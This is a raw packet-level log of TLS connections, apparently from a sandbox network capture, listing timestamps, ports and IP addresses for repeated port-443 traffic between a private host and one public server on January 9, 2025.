Jan 9, 2025 13:19:13.726047039 CET	443	49731	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.726108074 CET	443	49731	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.726142883 CET	49731	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.726162910 CET	443	49731	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.726191044 CET	49731	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.726207018 CET	49731	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.726267099 CET	443	49731	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.726340055 CET	49731	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.728899002 CET	49731	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.728949070 CET	443	49731	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.729417086 CET	49737	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.729490042 CET	443	49737	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.729583025 CET	49737	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.730120897 CET	49737	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.730142117 CET	443	49737	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.738095999 CET	443	49735	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.738507032 CET	49735	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.738529921 CET	443	49735	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.739450932 CET	443	49735	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.739548922 CET	49735	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.739928961 CET	49735	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.739979982 CET	443	49735	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.740111113 CET	49735	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.740117073 CET	443	49735	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.756886959 CET	443	49734	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.757163048 CET	49734	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.757186890 CET	443	49734	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.759962082 CET	443	49734	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.760036945 CET	49734	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.760329962 CET	49734	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.760409117 CET	443	49734	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.760551929 CET	49734	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.760560036 CET	443	49734	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.787559986 CET	49735	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.803524017 CET	49734	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.859134912 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.861471891 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.861495018 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.862375975 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.862843990 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.862843990 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.862910032 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.863210917 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.907331944 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.915589094 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:13.915606022 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:13.963531971 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.005283117 CET	443	49733	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.005300999 CET	443	49733	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.005357981 CET	443	49733	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.005402088 CET	49733	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.005426884 CET	49733	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.006097078 CET	49733	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.006113052 CET	443	49733	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.007003069 CET	49738	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.007036924 CET	443	49738	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.007126093 CET	49738	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.007359982 CET	49738	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.007373095 CET	443	49738	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.072886944 CET	443	49732	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.072952986 CET	443	49732	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.073090076 CET	49732	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.073121071 CET	443	49732	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.073810101 CET	443	49732	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.073883057 CET	49732	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.074150085 CET	49732	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.074179888 CET	443	49732	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.074783087 CET	49739	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.074876070 CET	443	49739	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.074975967 CET	49739	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.075294018 CET	49739	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.075333118 CET	443	49739	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.100850105 CET	443	49735	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.100869894 CET	443	49735	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.100929976 CET	443	49735	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.100960016 CET	49735	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.101006031 CET	443	49734	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.101007938 CET	49735	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.101042032 CET	443	49734	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.101125002 CET	49734	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.101145029 CET	443	49734	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.101197004 CET	49734	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.102021933 CET	49735	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.102037907 CET	443	49735	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.102452040 CET	49740	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.102472067 CET	443	49740	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.102962971 CET	49734	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.102976084 CET	443	49734	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.103010893 CET	49740	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.103202105 CET	49741	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.103234053 CET	443	49741	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.103573084 CET	49740	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.103588104 CET	443	49740	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.103601933 CET	49741	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.103712082 CET	49741	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.103724003 CET	443	49741	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.239264011 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.239288092 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.239341974 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.239361048 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.240151882 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.240227938 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.240286112 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.240286112 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.240312099 CET	443	49736	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.240355015 CET	49736	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.240793943 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.240833044 CET	443	49743	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.241002083 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.241460085 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.241476059 CET	443	49743	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.422533035 CET	443	49737	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.423011065 CET	49737	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.423053026 CET	443	49737	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.423760891 CET	443	49737	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.424153090 CET	49737	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.424330950 CET	443	49737	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.424354076 CET	49737	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.467351913 CET	443	49737	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.473529100 CET	49737	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.723025084 CET	443	49738	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.723335981 CET	49738	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.723351955 CET	443	49738	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.723685026 CET	443	49738	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.724172115 CET	49738	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.724227905 CET	443	49738	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.724332094 CET	49738	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.771333933 CET	443	49738	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.778558016 CET	443	49739	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.779001951 CET	49739	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.779030085 CET	443	49739	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.779552937 CET	443	49739	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.779876947 CET	49739	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.779973030 CET	443	49739	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.780030012 CET	49739	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.784830093 CET	443	49741	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.785060883 CET	49741	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.785079956 CET	443	49741	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.786135912 CET	443	49741	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.786214113 CET	49741	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.786614895 CET	49741	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.786655903 CET	49741	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.786659002 CET	443	49741	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.786691904 CET	443	49741	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.825510025 CET	49739	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.825519085 CET	443	49739	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.841511965 CET	49741	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.841519117 CET	443	49741	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.851865053 CET	443	49737	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.852072954 CET	443	49737	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.852127075 CET	49737	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.852962017 CET	49737	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.852992058 CET	443	49737	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.853430033 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.853478909 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.853559017 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.854037046 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.854063988 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.886764050 CET	443	49740	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.887007952 CET	49740	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.887022018 CET	443	49740	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.889501095 CET	49741	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.890594959 CET	443	49740	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.890690088 CET	49740	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.891102076 CET	49740	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.891273975 CET	443	49740	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.891277075 CET	49740	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.935332060 CET	443	49740	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.936492920 CET	49740	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:14.936506987 CET	443	49740	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:14.983490944 CET	49740	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.047255993 CET	443	49743	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.047580004 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.047609091 CET	443	49743	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.048589945 CET	443	49743	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.048676014 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.049580097 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.049640894 CET	443	49743	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.049777985 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.049784899 CET	443	49743	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.076803923 CET	443	49738	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.076822996 CET	443	49738	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.076904058 CET	49738	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.076920986 CET	443	49738	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.076973915 CET	49738	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.077867985 CET	49738	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.077928066 CET	443	49738	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.077980042 CET	49738	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.078355074 CET	49745	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.078392982 CET	443	49745	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.078505993 CET	49745	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.078876972 CET	49745	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.078896999 CET	443	49745	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.095499039 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.123455048 CET	443	49741	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.123473883 CET	443	49741	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.123527050 CET	49741	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.123533964 CET	443	49741	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.124453068 CET	49741	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.124495983 CET	443	49741	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.124552965 CET	49741	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.124859095 CET	49746	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.124905109 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.124965906 CET	49746	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.125395060 CET	49746	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.125422955 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.126087904 CET	443	49739	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.126121044 CET	443	49739	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.126177073 CET	49739	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.126188040 CET	443	49739	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.126919985 CET	49739	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.126956940 CET	443	49739	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.127010107 CET	49739	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.127257109 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.127304077 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.127382994 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.127891064 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.127911091 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.246393919 CET	443	49740	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.246421099 CET	443	49740	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.246489048 CET	49740	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.246504068 CET	443	49740	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.247252941 CET	49740	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.247284889 CET	443	49740	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.247343063 CET	49740	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.247684002 CET	49749	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.247704029 CET	443	49749	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.247778893 CET	49749	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.248286963 CET	49749	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.248296976 CET	443	49749	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.386042118 CET	443	49743	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.386058092 CET	443	49743	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.386113882 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.386133909 CET	443	49743	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.386182070 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.386806965 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.386823893 CET	443	49743	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.386878967 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.386879921 CET	443	49743	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.386924982 CET	49743	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.387156963 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.387181997 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.387236118 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.387631893 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.387641907 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.552093983 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.552362919 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.552378893 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.553369999 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.553442955 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.553705931 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.553750992 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.553848028 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.553853035 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.603493929 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.863466978 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.863986015 CET	49746	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.863996029 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.864490032 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.864758015 CET	49746	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.864839077 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.864897013 CET	49746	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.892882109 CET	443	49745	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.893681049 CET	49745	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.893692970 CET	443	49745	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.894012928 CET	443	49745	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.894344091 CET	49745	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.894402981 CET	443	49745	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.894501925 CET	49745	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.911336899 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.934859991 CET	443	49749	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.935203075 CET	49749	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.935219049 CET	443	49749	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.935329914 CET	443	49745	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.936108112 CET	443	49749	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.936204910 CET	49749	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.936579943 CET	49749	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.936641932 CET	443	49749	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.936755896 CET	49749	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.936763048 CET	443	49749	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.937752008 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.938301086 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.938323975 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.939517975 CET	49745	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.939766884 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.939905882 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.941168070 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.941168070 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.941193104 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.941265106 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.963978052 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.964008093 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.964015961 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.964054108 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.964078903 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.964083910 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.964098930 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.964112043 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.964132071 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.964139938 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.964170933 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.964864016 CET	49744	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.964878082 CET	443	49744	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.965257883 CET	49752	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.965307951 CET	443	49752	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.965382099 CET	49752	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.965694904 CET	49752	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.965713024 CET	443	49752	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:15.987518072 CET	49749	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.987555981 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:15.987576008 CET	443	49747	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.035581112 CET	49747	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.085524082 CET	49678	443	192.168.2.16	20.189.173.10
Jan 9, 2025 13:19:16.105808973 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.107709885 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.107721090 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.109057903 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.109132051 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.109483004 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.109587908 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.109692097 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.109697104 CET	443	49750	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.161518097 CET	49750	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.207693100 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.207716942 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.207837105 CET	49746	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.207861900 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.207943916 CET	49746	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.208381891 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.208458900 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.208755016 CET	49746	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.208755016 CET	49746	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.208833933 CET	443	49746	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.208901882 CET	49746	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.209177017 CET	49753	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.209207058 CET	49746	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.209223986 CET	443	49753	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:16.209280014 CET	49753	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.210882902 CET	49753	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:16.210896015 CET	443	49753	89.46.108.67	192.168.2.16
